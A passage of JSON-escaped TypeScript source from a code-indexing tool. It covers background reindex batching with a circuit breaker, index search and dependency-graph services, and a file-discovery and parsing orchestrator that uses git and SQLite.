batch.timeoutMs },\n ),\n ).then(\n () => indexCircuitBreaker.recordSuccess(),\n (err) => {\n indexCircuitBreaker.recordFailure(err);\n for (const onError of batch.onErrors) onError(err);\n },\n );\n}\n\nfunction addReadyReindex(opts: {\n projectRoot: string;\n file: string;\n indexDir?: string | undefined;\n timeoutMs: number;\n onError?: ((err: unknown) => void) | undefined;\n}): void {\n const key = reindexBatchKey(opts.projectRoot, opts.indexDir);\n const existing = readyReindexBatches.get(key);\n if (existing) {\n existing.files.add(opts.file);\n existing.timeoutMs = Math.max(existing.timeoutMs, opts.timeoutMs);\n if (opts.onError) existing.onErrors.add(opts.onError);\n return;\n }\n\n const batch: ReadyReindexBatch = {\n projectRoot: opts.projectRoot,\n indexDir: opts.indexDir,\n files: new Set([opts.file]),\n timeoutMs: opts.timeoutMs,\n onErrors: new Set(opts.onError ? [opts.onError] : []),\n };\n batch.flush = setImmediate(() => flushReadyReindexBatch(key));\n batch.flush.unref?.();\n readyReindexBatches.set(key, batch);\n}\n\n// \u2500\u2500\u2500 Public API \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/** True when the file's extension maps to a language the indexer can parse. */\nexport function isIndexableFile(filePath: string): boolean {\n return isIndexablePath(filePath);\n}\n\n/**\n * Run a full-project scan and await it. Used at session start and by the manual\n * `/codebase-reindex` command. Incremental by default (unchanged files skipped\n * via mtime, so repeat runs are cheap); pass `force` to clear and rebuild.\n *\n * Sets the global `_ready` flag on completion so downstream tools know the\n * index is usable.\n */\n/** Pattern matching SQLite constraint failures caused by a stale/corrupt index DB. */\nfunction isRecoverableConstraintError(err: unknown): boolean {\n if (err instanceof Error) {\n const msg = err.message.toLowerCase();\n return msg.includes('unique constraint') || msg.includes('constraint failed');\n }\n return false;\n}\n\nexport async function runStartupIndex(opts: {\n projectRoot: string;\n indexDir?: string | undefined;\n force?: boolean | undefined;\n langs?: string[] | undefined;\n signal?: AbortSignal | undefined;\n /** Watchdog timeout for the whole run. Default: 120s. */\n timeoutMs?: number | undefined;\n}): Promise<IndexResult> {\n // Circuit breaker: after repeated failures/timeouts, fail fast instead of\n // queuing yet another run behind a possibly-wedged pipeline.\n if (!indexCircuitBreaker.allowRequest()) throw circuitOpenError();\n\n _indexing = true;\n emitState();\n\n try {\n const result = await withMutex(() => {\n // Reset counters inside the mutex \u2014 if runStartupIndex is called twice\n // concurrently, the second caller must not clobber a running index's\n // progress counters.\n _currentFile = 0;\n _totalFiles = 0;\n _lastError = null;\n return callIndexOp(\n 'index',\n {\n projectRoot: opts.projectRoot,\n indexDir: opts.indexDir,\n force: opts.force,\n langs: opts.langs,\n },\n {\n timeoutMs: opts.timeoutMs ?? DEFAULT_FULL_INDEX_TIMEOUT_MS,\n signal: opts.signal,\n onProgress: setIndexProgress,\n },\n );\n });\n _ready = true;\n indexCircuitBreaker.recordSuccess();\n return result;\n } catch (err) {\n _lastError = err instanceof Error ? err.message : String(err);\n\n // Auto-recovery: SQLite constraint failures indicate index DB corruption\n // from a previous interrupted write (e.g., process killed mid-insert).\n // Retry with force=true to wipe and rebuild from source.\n const originalError = _lastError;\n if (isRecoverableConstraintError(err) && !opts.force) {\n _lastError = null;\n const rebuildResult = await runStartupIndex({\n ...opts,\n force: true,\n });\n _ready = true;\n // Tag the result so callers can distinguish a normal run from a\n // corruption-triggered recovery.\n return {\n ...rebuildResult,\n autoRecovered: { failure: originalError, rebuiltWithForce: true },\n };\n }\n\n _ready = true; // index is \"ready\" in the sense that we won't try again; downstream tools will see lastError\n // Caller-initiated aborts (session teardown, Ctrl+C) are not indexer\n // failures \u2014 only genuine errors and watchdog timeouts trip the breaker.\n if (!opts.signal?.aborted) indexCircuitBreaker.recordFailure(err);\n throw err;\n } finally {\n _indexing = false;\n emitState();\n }\n}\n\n/**\n * Debounced, fire-and-forget incremental reindex of specific files. Used by the\n * per-edit toolCall middleware and the external file watcher. Non-indexable\n * paths are dropped. Errors are reported via the optional `onError` callback and\n * never thrown to the caller (background work must not crash a turn).\n */\nexport function enqueueReindex(opts: {\n projectRoot: string;\n files: string[];\n indexDir?: string | undefined;\n debounceMs?: number | undefined;\n /** Watchdog timeout per file. Default: 30s. */\n timeoutMs?: number | undefined;\n onError?: ((err: unknown) => void) | undefined;\n}): void {\n const files = opts.files.filter(isIndexableFile);\n if (files.length === 0) return;\n const ms = opts.debounceMs ?? DEFAULT_DEBOUNCE_MS;\n\n for (const file of files) {\n const key = debounceKey(opts.projectRoot, opts.indexDir, file);\n const existing = debounceTimers.get(key);\n if (existing) clearTimeout(existing);\n const timer = setTimeout(() => {\n debounceTimers.delete(key);\n // All per-file debounce timers that expire in this event-loop turn are\n // folded into one worker/SQLite operation per project index. This keeps\n // same-file debounce semantics while avoiding N full index lifecycles\n // for watcher bursts such as branch switches or generated-file updates.\n addReadyReindex({\n projectRoot: opts.projectRoot,\n file,\n indexDir: opts.indexDir,\n timeoutMs: opts.timeoutMs ?? DEFAULT_INCREMENTAL_TIMEOUT_MS,\n onError: opts.onError,\n });\n }, ms);\n // Don't keep the event loop alive solely for a pending reindex.\n timer.unref?.();\n debounceTimers.set(key, timer);\n }\n}\n\n/** Cancel all pending debounced reindexes. For teardown / tests. */\nexport function cancelPendingReindexes(): void {\n for (const t of debounceTimers.values()) clearTimeout(t);\n debounceTimers.clear();\n for (const batch of readyReindexBatches.values()) {\n if (batch.flush) clearImmediate(batch.flush);\n }\n readyReindexBatches.clear();\n}\n\n/**\n * Ranked symbol search against the index. The query runs in the index worker\n * (or inline in fallback mode) \u2014 the main thread never opens SQLite. Reads\n * don't take the write mutex (WAL readers don't block the writer) and don't\n * feed the circuit breaker; a wedged read still trips the watchdog, which\n * recycles the worker.\n */\nexport async function searchCodebaseIndex(\n args: SearchOpArgs,\n opts: { timeoutMs?: number | undefined; signal?: AbortSignal | undefined } = {},\n): Promise<SearchOpResult> {\n return callIndexOp('search', args, {\n timeoutMs: opts.timeoutMs ?? DEFAULT_QUERY_TIMEOUT_MS,\n signal: opts.signal,\n });\n}\n\n/** Index health/statistics, fetched off the main thread like searches. */\nexport async function codebaseIndexStats(\n args: StatsOpArgs,\n opts: { timeoutMs?: number | undefined; signal?: AbortSignal | undefined } = {},\n): Promise<IndexStats> {\n return callIndexOp('stats', args, {\n timeoutMs: opts.timeoutMs ?? DEFAULT_QUERY_TIMEOUT_MS,\n signal: opts.signal,\n });\n}\n\n/** Package dependency graph, served by the same per-project index process. */\nexport async function packageGraphService(args: StatsOpArgs): Promise<CodeMapGraph> {\n return callIndexOp('packageGraph', args, { timeoutMs: DEFAULT_QUERY_TIMEOUT_MS });\n}\n\n/** File dependency graph, served by the same per-project index process. */\nexport async function fileGraphService(args: FileGraphOpArgs): Promise<CodeMapGraph> {\n return callIndexOp('fileGraph', args, { timeoutMs: DEFAULT_QUERY_TIMEOUT_MS });\n}\n\n/** Symbol dependency graph, served by the same per-project index process. */\nexport async function symbolGraphService(args: SymbolGraphOpArgs): Promise<CodeMapGraph> {\n return callIndexOp('symbolGraph', args, { timeoutMs: DEFAULT_QUERY_TIMEOUT_MS });\n}\n\n/**\n * Stop this project's detached index server. Unlike\n * shutdownCodebaseIndexHost(), this intentionally affects every connected\n * TUI/CLI/WebUI client for the project.\n */\nexport function shutdownCodebaseIndexServer(\n projectRoot: string,\n indexDir?: string,\n reason?: string,\n): Promise<ProjectIndexServerShutdownResult> {\n return shutdownProjectIndexServer(projectRoot, indexDir, reason);\n}\n\n/** Probe the connected project server without starting a missing server. */\nexport function checkCodebaseIndexServerHealth(\n projectRoot: string,\n indexDir?: string,\n options: { timeoutMs?: number | undefined } = {},\n): Promise<ProjectIndexServerClientHealth> {\n return checkProjectIndexServerHealth(projectRoot, indexDir, options);\n}\n\n/** Ensure the detached project server exists and owns external watching. */\nexport function ensureCodebaseIndexServer(options: {\n projectRoot: string;\n indexDir?: string | undefined;\n watchExternal?: boolean | undefined;\n debounceMs?: number | undefined;\n}): Promise<void> {\n const availability = resolveProjectIndexDaemonAvailability(options.projectRoot, options.indexDir);\n if (availability.kind !== 'available') {\n if (availability.kind === 'endpoint-invalid') warnEndpointInvalidOnce(availability);\n return Promise.resolve();\n }\n return ensureProjectIndexServer({\n projectRoot: options.projectRoot,\n indexDir: options.indexDir,\n watchExternal: options.watchExternal ?? false,\n debounceMs: options.debounceMs ?? DEFAULT_DEBOUNCE_MS,\n });\n}\n\n// \u2500\u2500\u2500 Test-only reset \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/**\n * Reset all process-global indexing state for test isolation.\n *\n * Vitest runs test files in parallel within the same process, so module-level\n * state (`_indexing`, `_ready`, `chain`, `indexCircuitBreaker`) leaks between\n * tests. Call this in `beforeEach` to ensure each test starts with a clean\n * slate. Production code should NEVER call this.\n */\nexport function resetIndexStateForTesting(): void {\n _ready = false;\n _indexing = false;\n _currentFile = 0;\n _totalFiles = 0;\n _lastError = null;\n chain = Promise.resolve();\n indexCircuitBreaker.reset();\n cancelPendingReindexes();\n closeProjectIndexServerClients();\n warnedInvalidEndpoints.clear();\n // Don't terminate the worker \u2014 it's expensive to respawn and tests that\n // need it will call ensureWorker() lazily. Just clear the RPC state.\n for (const [, p] of pending) p.reject(new Error('test reset'));\n pending.clear();\n nextRpcId = 1;\n}\n", "import { expectDefined } from '@wrongstack/core/utils';\n/**\n * Main indexing orchestrator.\n *\n * Given a project root and a list of files:\n * 1. Parse each file with the appropriate parser (TS, Go, Python, Rust, JSON, YAML)\n * 2. Delete old symbols for changed/deleted files\n * 3. Insert new symbols\n * 4. Update file metadata\n * 5. Return index statistics\n */\n\nimport { execFile } from 'node:child_process';\nimport type { Dirent, Stats } from 'node:fs';\nimport * as fs from 'node:fs/promises';\nimport { availableParallelism } from 'node:os';\nimport * as path from 'node:path';\nimport type { Context } from '@wrongstack/core/agent';\nimport {\n DEFAULT_WALK_IGNORE_DIRS,\n indexParallelBatchSize,\n isFrugalPerf,\n} from '@wrongstack/core/utils';\nimport { type IgnoreMatcher, loadGitignoreMatcher } from './gitignore.js';\nimport { detectLang, INDEXABLE_EXTENSIONS } from './languages.js';\nimport { parseFileContent } from './parser-dispatch.js';\nimport type { FileMeta, IndexResult, Symbol as IndexSymbol, Ref, SymbolLang } from './schema.js';\nimport { IndexStore } from './writer.js';\n\n/** Yield the event loop every N files so the main thread stays responsive. */\nconst YIELD_EVERY_N = 50;\n\n/**\n * Parallel parse batch size \u2014 see {@link indexParallelBatchSize}.\n * Re-resolved at the start of each index run so env profile changes apply.\n */\nexport function resolveParallelBatch(): number {\n return indexParallelBatchSize(availableParallelism());\n}\n\nfunction yieldEventLoop(): Promise<void> {\n return new Promise((resolve) => setImmediate(resolve));\n}\n\n/**\n * Cooperatively abort if the signal is set. Throws with the signal's reason\n * (or a descriptive Error) so callers know *why* the operation was cancelled.\n * Called at yield points \u2014 never after a Promise resolve (that would be a\n * microtask that the signal check could miss).\n */\nfunction throwIfAborted(signal: AbortSignal | undefined): void {\n if (!signal?.aborted) return;\n if (signal.reason instanceof Error) throw signal.reason;\n throw new Error(typeof signal.reason === 'string' ? signal.reason : 'Indexing cancelled');\n}\n\n/**\n * Detect AbortError (DOMException with name 'AbortError') thrown by signal-aware\n * fs.promises calls (stat, readFile). We must re-throw these so the cancellation\n * propagates \u2014 catching them as ordinary errors would keep the loop running.\n */\nfunction isAbortError(err: unknown): boolean {\n return err instanceof DOMException && err.name === 'AbortError';\n}\n\nconst DEFAULT_IGNORE = DEFAULT_WALK_IGNORE_DIRS;\nconst DEFAULT_IGNORE_FILES = new Set(['package-lock.json', 'pnpm-lock.yaml', 'pnpm-lock.yml']);\nconst INDEXABLE_EXTENSION_SET = new Set(INDEXABLE_EXTENSIONS);\nconst MAX_INDEX_FILE_BYTES = 5 * 1024 * 1024;\nconst MAX_GIT_FILE_LIST_BYTES = 64 * 1024 * 1024;\n\nfunction isWithinProject(projectRoot: string, file: string): boolean {\n const rel = path.relative(projectRoot, file);\n return rel !== '' && !rel.startsWith(`..${path.sep}`) && rel !== '..' && !path.isAbsolute(rel);\n}\n\nfunction isMissingPathError(err: unknown): boolean {\n const code = (err as { code?: unknown } | null)?.code;\n return code === 'ENOENT' || code === 'ENOTDIR';\n}\n\nfunction normalizeComparablePath(value: string): string {\n const resolved = path.resolve(value);\n return process.platform === 'win32' ? resolved.toLowerCase() : resolved;\n}\n\nfunction gitOutput(projectRoot: string, args: string[]): Promise<Buffer> {\n return new Promise((resolve, reject) => {\n execFile(\n 'git',\n ['-C', projectRoot, ...args],\n {\n encoding: 'buffer',\n maxBuffer: MAX_GIT_FILE_LIST_BYTES,\n windowsHide: true,\n },\n (error, stdout) => {\n if (error) reject(error);\n else resolve(Buffer.isBuffer(stdout) ? stdout : Buffer.from(stdout));\n },\n );\n });\n}\n\n/**\n * Git already maintains the canonical tracked/untracked directory index. On a\n * repository root this avoids hundreds of serial `readdir` calls; non-Git\n * projects and nested roots fall back to the filesystem walker below.\n */\nasync function findGitSourceFiles(\n projectRoot: string,\n ignore: string[],\n signal?: AbortSignal | undefined,\n): Promise<{ files: string[]; trustedUnchanged: Set<string> } | null> {\n try {\n throwIfAborted(signal);\n const topLevel = (await gitOutput(projectRoot, ['rev-parse', '--show-toplevel']))\n .toString('utf8')\n .trim();\n if (normalizeComparablePath(topLevel) !== normalizeComparablePath(projectRoot)) return null;\n\n throwIfAborted(signal);\n const ignoreSet = new Set([...DEFAULT_IGNORE, ...ignore]);\n const [output, statusOutput] = await Promise.all([\n gitOutput(projectRoot, ['ls-files', '--cached', '--others', '--exclude-standard', '-z']),\n gitOutput(projectRoot, [\n 'status',\n '--porcelain=v1',\n '-z',\n '--untracked-files=all',\n '--ignored=no',\n ]),\n ]);\n throwIfAborted(signal);\n const dirty = new Set<string>();\n const deleted = new Set<string>();\n const statusRecords = statusOutput.toString('utf8').split('\\0');\n for (let i = 0; i < statusRecords.length; i++) {\n const record = statusRecords[i];\n if (!record) continue;\n const status = record.slice(0, 2);\n const changedPath = path.resolve(projectRoot, record.slice(3));\n dirty.add(changedPath);\n if (status.includes('D')) deleted.add(changedPath);\n if (status.includes('R') || status.includes('C')) {\n const source = statusRecords[++i];\n if (source) dirty.add(path.resolve(projectRoot, source));\n }\n }\n const files: string[] = [];\n for (const relative of output.toString('utf8').split('\\0')) {\n if (!relative) continue;\n const portable = relative.replace(/\\\\/g, '/');\n if (\n portable.split('/').some((segment) => ignoreSet.has(segment)) ||\n DEFAULT_IGNORE_FILES.has(path.posix.basename(portable))\n ) {\n continue;\n }\n const full = path.resolve(projectRoot, relative);\n if (deleted.has(full)) continue;\n const ext = path.extname(relative).toLowerCase();\n if (INDEXABLE_EXTENSION_SET.has(ext) || detectLang(full) !== null) files.push(full);\n }\n return {\n files,\n trustedUnchanged: new Set(files.filter((file) => !dirty.has(file))),\n };\n } catch {\n return null;\n }\n}\n\ninterface IndexerOptions {\n projectRoot: string;\n files?: string[] | undefined;\n force?: boolean | undefined;\n langs?: string[] | undefined;\n ignore?: string[] | undefined;\n /** Override the index directory (default: the global per-project dir). */\n indexDir?: string | undefined;\n /**\n * Signal that cancels indexing cooperatively. Polled at yield points\n * (file walk, per-file loop) so a hung filesystem won't lock up the\n * process. When the tool executor's timeout fires, this signal aborts\n * and `runIndexer` throws, releasing the mutex and resetting flags.\n */\n signal?: AbortSignal | undefined;\n /**\n * Per-file progress callback. Injected by the caller instead of imported\n * from the host's module state so the indexer can run inside a worker\n * thread (worker posts progress messages; inline host updates its state).\n */\n onProgress?: ((current: number, total: number) => void) | undefined;\n}\n\nasync function findSourceFiles(\n projectRoot: string,\n ignore: string[],\n isGitIgnored: IgnoreMatcher,\n signal?: AbortSignal | undefined,\n): Promise<{\n files: string[];\n complete: boolean;\n errors: string[];\n trustedUnchanged?: Set<string>;\n}> {\n const gitFiles = await findGitSourceFiles(projectRoot, ignore, signal);\n if (gitFiles) {\n return {\n files: gitFiles.files,\n complete: true,\n errors: [],\n trustedUnchanged: gitFiles.trustedUnchanged,\n };\n }\n\n const results: string[] = [];\n const errors: string[] = [];\n let complete = true;\n const ignoreSet = new Set([...DEFAULT_IGNORE, ...ignore]);\n // Extension allow-list from languages.ts \u2014 every mapped language is discovered.\n // Special filenames (Makefile, Dockerfile, \u2026) are accepted via detectLang.\n const indexableExts = new Set(INDEXABLE_EXTENSIONS);\n\n let dirCount = 0;\n\n const walk = async (dir: string): Promise<void> => {\n // Yield + abort check before every readdir so a cancelled indexer\n // doesn't descend deeper into the tree.\n throwIfAborted(signal);\n // Periodically yield the event loop so the main thread stays responsive\n // during deep directory walks (Node 22's fs.promises.readdir doesn't\n // accept AbortSignal, so we rely on cooperative polling).\n if (dirCount > 0 && dirCount % YIELD_EVERY_N === 0) {\n await yieldEventLoop();\n throwIfAborted(signal);\n }\n let entries: Dirent[];\n try {\n entries = await fs.readdir(dir, { withFileTypes: true });\n } catch (err) {\n complete = false;\n errors.push(`scan error: ${dir}: ${err instanceof Error ? err.message : String(err)}`);\n return;\n }\n dirCount++;\n\n for (const e of entries) {\n if (ignoreSet.has(e.name)) continue;\n const full = path.join(dir, e.name);\n // Normalize to forward-slash relative path for pattern matching\n const rel = path.relative(projectRoot, full).replace(/\\\\/g, '/');\n if (e.isDirectory()) {\n // Prune .gitignore'd directories before descending (skips node_modules,\n // build output, and any project-specific ignored dirs).\n if (isGitIgnored(rel, true)) continue;\n await walk(full);\n } else if (e.isFile()) {\n if (DEFAULT_IGNORE_FILES.has(e.name) || isGitIgnored(rel, false)) continue;\n const ext = path.extname(e.name).toLowerCase();\n // Fast path: known extension. Slow path: special basenames (Makefile\u2026).\n if (indexableExts.has(ext) || detectLang(full) !== null) {\n results.push(full);\n }\n }\n }\n };\n\n await walk(projectRoot);\n return { files: results, complete, errors };\n}\n\nfunction assignRefsToSymbols(refs: Ref[], symbols: IndexSymbol[]): Ref[] {\n if (refs.length === 0 || symbols.length === 0) return [];\n const ordered = [...symbols].sort((a, b) => a.line - b.line || a.col - b.col || a.id - b.id);\n const seen = new Set<string>();\n const assigned: Ref[] = [];\n for (const ref of refs) {\n let owner: IndexSymbol | undefined;\n for (const symbol of ordered) {\n if (symbol.line > ref.line) break;\n owner = symbol;\n }\n // Imports usually appear before the first declaration. Attach them to the\n // first real symbol so file/package dependency graphs retain the module\n // edge without inventing an invalid owner id 0.\n if (!owner && ref.callType === 'import') owner = ordered[0];\n if (!owner || owner.id <= 0) continue;\n const key = `${owner.id}:${ref.toName}:${ref.callType}`;\n if (seen.has(key)) continue;\n seen.add(key);\n assigned.push({ ...ref, fromId: owner.id });\n }\n return assigned;\n}\n\n/** Run a full or incremental index and return statistics. */\nexport async function runIndexer(_ctx: Context, opts: IndexerOptions): Promise<IndexResult> {\n const store = new IndexStore(opts.projectRoot, { indexDir: opts.indexDir });\n try {\n return await runIndexerWithStore(store, opts);\n } finally {\n // Always release the synchronous SQLite connection \u2014 an abort mid-run\n // (executor timeout, session teardown) previously leaked it.\n try {\n store.close();\n } catch {\n /* already closed */\n }\n }\n}\n\nexport async function runIndexerWithStore(\n store: IndexStore,\n opts: IndexerOptions,\n): Promise<IndexResult> {\n const { projectRoot, langs, ignore = [], signal } = opts;\n // Graph semantics changed without a structural SQLite schema change. Keep a\n // separate data-version marker so older running processes do not downgrade\n // and wipe the same shared DB while a new WebUI is being rolled out.\n const relationGraphVersion = '2';\n const refResolutionVersion = '2';\n const force =\n (opts.force ?? false) || store.getMetadata('relation_graph_version') !== relationGraphVersion;\n const needsFullRefResolution =\n force || store.getMetadata('ref_resolution_version') !== refResolutionVersion;\n const startMs = Date.now();\n const errors: string[] = [];\n const langStats: Record<string, number> = {};\n let filesIndexed = 0;\n let symbolsIndexed = 0;\n\n // Honor the project-root .gitignore (skips node_modules, build output, and\n // any project-specific ignored paths) on top of the always-on DEFAULT_IGNORE.\n const isGitIgnored = await loadGitignoreMatcher(projectRoot);\n\n let files: string[];\n /** Set of all files discovered on disk (before language filtering).\n * Used for O(1) stale-file detection instead of stat-ing every\n * previously-indexed file. Null when an explicit file list was given. */\n let discoveredFiles: Set<string> | null = null;\n let discoveryComplete = true;\n let trustedUnchanged: Set<string> | undefined;\n if (opts.files && opts.files.length > 0) {\n // Explicit file list (per-edit / watcher path): keep paths inside the\n // project only and apply both always-on and .gitignore exclusions.\n files = opts.files\n .map((f) => path.resolve(projectRoot, f))\n .filter((f) => {\n if (!isWithinProject(projectRoot, f)) return false;\n const rel = path.relative(projectRoot, f).replace(/\\\\/g, '/');\n return (\n !rel.split('/').some((seg) => DEFAULT_IGNORE.includes(seg)) &&\n !DEFAULT_IGNORE_FILES.has(path.basename(f)) &&\n !isGitIgnored(rel, false)\n );\n });\n } else {\n const discovery = await findSourceFiles(projectRoot, ignore, isGitIgnored, signal);\n files = discovery.files;\n errors.push(...discovery.errors);\n discoveryComplete = discovery.complete;\n discoveredFiles = new Set(files);\n trustedUnchanged = discovery.trustedUnchanged;\n }\n\n if (langs && langs.length > 0) {\n const langSet = new Set(langs);\n files = files.filter((f) => {\n const lang = detectLang(f);\n return lang ? langSet.has(lang) : false;\n });\n }\n\n if (force) store.clearAll();\n\n // Collect existing file metadata for incremental check\n const existingMeta: Map<string, FileMeta> = new Map();\n if (!force) {\n for (const meta of store.getAllFileMetas()) existingMeta.set(meta.file, meta);\n }\n\n // Git has already checked clean tracked files while producing status. Fold\n // their stored counts into the result once, before the async batch loop,\n // instead of creating thousands of promises and scheduler yields merely to\n // rediscover that their mtimes did not change.\n const totalFilesForProgress = files.length;\n let filesPreSkipped = 0;\n if (!force && trustedUnchanged) {\n files = files.filter((file) => {\n const meta = existingMeta.get(file);\n if (!meta || !trustedUnchanged.has(file)) return true;\n langStats[meta.lang] = (langStats[meta.lang] ?? 0) + meta.symbolCount;\n symbolsIndexed += meta.symbolCount;\n filesIndexed++;\n filesPreSkipped++;\n return false;\n });\n if (filesPreSkipped > 0) opts.onProgress?.(filesPreSkipped, totalFilesForProgress);\n }\n\n // Process files in batches for parallel I/O and parsing.\n // SQLite writes remain sequential (they're synchronous and CPU-bound).\n // Batch width follows WRONGSTACK_PERF_PROFILE (frugal \u22644, balanced cores\u00D74).\n const parallelBatch = resolveParallelBatch();\n let filesSinceLastYield = 0;\n for (let batchStart = 0; batchStart < files.length; batchStart += parallelBatch) {\n const batchEnd = Math.min(batchStart + parallelBatch, files.length);\n const batchFiles = files.slice(batchStart, batchEnd);\n\n // Report progress to the caller so UIs can show indexing status.\n opts.onProgress?.(filesPreSkipped + batchEnd, totalFilesForProgress);\n\n // Yield the event loop periodically so the main thread stays responsive\n // (TUI rendering, input handling, etc.) during large index builds.\n // Uses a running counter instead of batchStart % YIELD_EVERY_N which\n // only works when the batch size divides YIELD_EVERY_N evenly \u2014 with\n // dynamic batch sizes that invariant no longer holds and the yield would\n // fire far less often than intended.\n // Also check for cancellation \u2014 the tool executor's timeout or a\n // session abort propagates through `signal`.\n filesSinceLastYield += batchFiles.length;\n if (filesSinceLastYield >= YIELD_EVERY_N) {\n filesSinceLastYield = 0;\n await yieldEventLoop();\n // Frugal: brief pause so sustained reindex doesn't pin a core.\n if (isFrugalPerf()) {\n await new Promise<void>((r) => setTimeout(r, 8));\n }\n throwIfAborted(signal);\n }\n\n // Phase 1: Parallel stat + incremental skip + read + parse\n const statOpts = signal ? { signal } : {};\n const statReadParse = await Promise.allSettled(\n batchFiles.map(\n async (\n file,\n ): Promise<{\n file: string;\n stat: Stats;\n lang: string;\n parsed: Awaited<ReturnType<typeof parseFileContent>> | null;\n content?: string;\n skippedMeta?: FileMeta;\n error?: string;\n missing?: boolean;\n }> => {\n let stat: Stats;\n try {\n stat = await (\n fs.stat as (path: string, opts: { signal?: AbortSignal }) => Promise<Stats>\n )(file, statOpts);\n } catch (e) {\n if (isAbortError(e)) throw e;\n return {\n file,\n stat: null as never as Stats,\n lang: '',\n parsed: null,\n error: `stat error: ${e instanceof Error ? e.message : String(e)}`,\n missing: isMissingPathError(e),\n };\n }\n if (!stat.isFile()) return { file, stat, lang: '', parsed: null };\n\n const lang = detectLang(file);\n if (!lang) return { file, stat, lang: '', parsed: null };\n if (stat.size > MAX_INDEX_FILE_BYTES) {\n return {\n file,\n stat,\n lang,\n parsed: null,\n error: `file too large (${stat.size} bytes; max ${MAX_INDEX_FILE_BYTES})`,\n };\n }\n\n const meta = existingMeta.get(file);\n if (!force && meta && meta.mtimeMs === Math.floor(stat.mtimeMs)) {\n return { file, stat, lang, parsed: null, skippedMeta: meta };\n }\n\n let content: string;\n try {\n content = await fs.readFile(file, { encoding: 'utf8', signal });\n } catch (e) {\n if (isAbortError(e)) throw e;\n return {\n file,\n stat,\n lang,\n parsed: null,\n error: `read error: ${e instanceof Error ? e.message : String(e)}`,\n };\n }\n\n let parsed: Awaited<ReturnType<typeof parseFileContent>>;\n try {\n parsed = await parseFileContent(file, content, lang as SymbolLang);\n } catch (e) {\n return {\n file,\n stat,\n lang,\n parsed: null,\n error: `parse error: ${e instanceof Error ? e.message : String(e)}`,\n };\n }\n return { file, stat, lang, parsed, content };\n },\n ),\n );\n\n // Phase 2: Sequential SQLite writes \u2014 amortized across the whole batch.\n //\n // Each file is still parsed in parallel (Phase 1), but the writes\n // happen in a single `commitBatch` transaction per outer batch\n // (PARALLEL_BATCH = 20 files). This drops the commit count from\n // ~5/file to 1/parallel-batch, which is the difference between\n // 100 fsync round-trips and 5 on a 20-file slice.\n const batchEntries: Array<{\n file: string;\n lang: SymbolLang;\n symbols: IndexSymbol[];\n refs: Ref[];\n mtimeMs: number;\n symbolCount: number;\n }> = [];\n const deleteForFiles: string[] = [];\n\n for (let fi = 0; fi < statReadParse.length; fi++) {\n const settled = statReadParse[fi]!;\n const file = expectDefined(batchFiles[fi]);\n\n if (settled.status === 'rejected') {\n const err = settled.reason;\n if (err instanceof Error && isAbortError(err)) throw err;\n errors.push(`batch error: ${file}: ${err instanceof Error ? err.message : String(err)}`);\n continue;\n }\n\n const result = settled.value;\n if (result.error) {\n // A missing path in a targeted watcher/edit run is authoritative: the\n // source was deleted or renamed, so remove its previous index rows.\n // Read/parse/permission failures are transient and retain the last good\n // snapshot instead of replacing it with an empty one.\n if (result.missing) store.deleteFile(file);\n errors.push(`${file}: ${result.error}`);\n continue;\n }\n\n const { stat, lang, parsed } = result;\n if (result.skippedMeta) {\n langStats[lang] = (langStats[lang] ?? 0) + result.skippedMeta.symbolCount;\n symbolsIndexed += result.skippedMeta.symbolCount;\n filesIndexed++;\n continue;\n }\n\n if (!lang || !parsed) {\n if (lang) {\n store.upsertFile({\n file,\n lang: lang as SymbolLang,\n mtimeMs: Math.floor(stat.mtimeMs),\n symbolCount: 0,\n lastIndexed: Date.now(),\n });\n filesIndexed++;\n }\n continue;\n }\n\n // Empty symbol files still need their file row updated so future runs\n // know the mtime. Single transaction clears stale rows + upserts meta.\n if (parsed.symbols.length === 0) {\n store.replaceEmptyFile({\n file,\n lang: lang as SymbolLang,\n mtimeMs: Math.floor(stat.mtimeMs),\n symbolCount: 0,\n lastIndexed: Date.now(),\n });\n filesIndexed++;\n continue;\n }\n\n batchEntries.push({\n file,\n lang: lang as SymbolLang,\n symbols: parsed.symbols,\n refs: parsed.refs ?? [],\n mtimeMs: Math.floor(stat.mtimeMs),\n symbolCount: parsed.symbols.length,\n });\n deleteForFiles.push(file);\n }\n\n if (batchEntries.length > 0) {\n try {\n store.commitBatch(batchEntries, { deleteForFiles });\n for (const entry of batchEntries) {\n const count = entry.symbols.length;\n symbolsIndexed += count;\n langStats[entry.lang] = (langStats[entry.lang] ?? 0) + count;\n filesIndexed++;\n }\n } catch (err) {\n // If the batch commit fails, fall back to per-file writes so the\n // user still gets a partial index. Per-file writes are slower but\n // isolate failures.\n const message = err instanceof Error ? err.message : String(err);\n errors.push(`commitBatch failed: ${message} \u2014 falling back to per-file writes`);\n for (const entry of batchEntries) {\n try {\n store.deleteRefsForFile(entry.file);\n store.deleteSymbolsForFile(entry.file);\n const symbolsWithIds = store.insertSymbols(entry.symbols);\n symbolsIndexed += symbolsWithIds.length;\n langStats[entry.lang] = (langStats[entry.lang] ?? 0) + symbolsWithIds.length;\n filesIndexed++;\n if (entry.refs.length > 0 && symbolsWithIds.length > 0) {\n const fallbackBatch = assignRefsToSymbols(entry.refs, symbolsWithIds);\n if (fallbackBatch.length > 0) store.insertRefsBatch(fallbackBatch);\n }\n store.resolveRefsForNames([\n ...entry.symbols.map((symbol) => symbol.name),\n ...entry.refs.map((ref) => ref.toName),\n ]);\n store.upsertFile({\n file: entry.file,\n lang: entry.lang,\n mtimeMs: entry.mtimeMs,\n symbolCount: entry.symbolCount,\n lastIndexed: Date.now(),\n });\n } catch (innerErr) {\n errors.push(\n `fallback write failed: ${entry.file}: ${innerErr instanceof Error ? innerErr.message : String(innerErr)}`,\n );\n }\n }\n }\n }\n }\n\n // Remove stale entries for files deleted since last 